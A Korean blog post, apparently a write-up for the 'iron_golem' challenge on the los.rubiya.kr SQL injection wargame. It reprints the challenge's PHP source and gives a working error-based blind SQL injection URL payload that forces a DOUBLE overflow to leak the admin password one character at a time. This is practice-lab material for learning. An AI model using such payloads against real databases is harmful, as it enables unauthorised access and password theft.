일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- webhacking 처음
- frontend
- Forensic 절차
- 3단계 지역 DB
- 인턴 후기
- 네이버 인턴
- 소프트웨어 개발보안 경진대회
- EER
- 소개딩
- mysql
- spring
- DBMS
- Database
- SessionAttribute
- 정보보호병 후기
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- 인턴 지원
- PyAmdecoder
- react
- JSTL
- Layered Architecture
- 메모리 포랜식
- jsp
- Django
- 동읍면 DB
- 방명록 만들기
- 행정지역 DB
- restapi
- riceteacatpanda
- reversing.kr
- Today
- Total
웹찢남
iron_golem-writeup 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
blind sql injection 문제다...
이번엔 참 거짓 구분 하기가 힘든데
에러를 기반으로 공격을 하면 clear가 가능하다!
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(ord(substr(pw,1,1))%3E1,1,(9e307*9e307))%23
위와 같이 코드를 짜 비교해가며 문제 CLEAR!
참고로 값이 거짓일 경우 error를 표시하는 화면이 보여지게 된다
DOUBLE value is out of range in '(9e307 * 9e307)'
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
hell_fire-writeup (0) | 2020.01.29 |
---|---|
dark_eyes-writeup (0) | 2020.01.29 |
Dragon-writeup (0) | 2019.12.28 |
Xavis-writeup (0) | 2019.12.28 |
Nightmare-writeup (0) | 2019.12.28 |